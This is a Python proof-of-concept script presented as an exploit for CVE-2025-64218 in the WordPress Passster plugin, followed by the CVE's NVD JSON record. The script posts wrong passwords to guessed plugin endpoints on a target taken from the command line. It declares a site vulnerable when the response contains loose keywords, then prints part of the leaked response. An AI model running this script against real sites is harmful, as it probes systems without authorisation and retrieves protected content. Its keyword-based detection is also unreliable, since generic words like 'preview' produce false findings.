CVE-2025-64218

# CVE-2025-64218 PoC - WordPress Passster Sensitive Data Exposure # Affected Version: Passster <= 4.2.19 import requests import sys from urllib.parse import urljoin def exploit_passster(target_url, post_id=None): """ Exploit for CVE-2025-64218 - Passster Sensitive Data Exposure Tests for exposed sensitive data in password-protected content """ target = target_url.rstrip('/') # Common AJAX endpoints for Passster plugin endpoints = [ '/wp-admin/admin-ajax.php', '/wp-json/passster/v1/verify', '/?rest_route=/passster/v1/verify' ] # Test data for exploitation test_payloads = { 'action': 'passster_verify_password', 'post_id': post_id or '1', 'password': 'wrong_password' } print(f"[*] Target: {target}") print(f"[*] Testing Passster plugin for CVE-2025-64218") for endpoint in endpoints: url = urljoin(target, endpoint) try: # Send request with incorrect password response = requests.post(url, data=test_payloads, timeout=10) # Check for sensitive data exposure indicators if response.status_code == 200: content = response.text.lower() # Indicators of data exposure exposure_indicators = [ 'protected_content', 'sensitive_data', 'hidden_content', 'password_protected', 'content_excerpt', 'preview' ] for indicator in exposure_indicators: if indicator in content: print(f"[!] VULNERABLE! Endpoint: {endpoint}") print(f"[!] Exposure indicator found: {indicator}") print(f"[+] Response preview: {response.text[:500]}") return True print(f"[-] Endpoint {endpoint}: Not vulnerable or no response") except requests.RequestException as e: print(f"[-] Error testing {endpoint}: {e}") print("[*] No obvious vulnerability detected") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-64218.py <target_url> [post_id]") sys.exit(1) target = sys.argv[1] post_id = sys.argv[2] if len(sys.argv) > 2 else None exploit_passster(target, post_id)

{"cve": {"id": "CVE-2025-64218", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:11.780", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insertion of Sensitive Information Into Sent Data vulnerability in WP Chill Passster content-protector allows Retrieve Embedded Sensitive Data.This issue affects Passster: from n/a through <= 4.2.19."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/content-protector/vulnerability/wordpress-passster-plugin-4-2-19-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}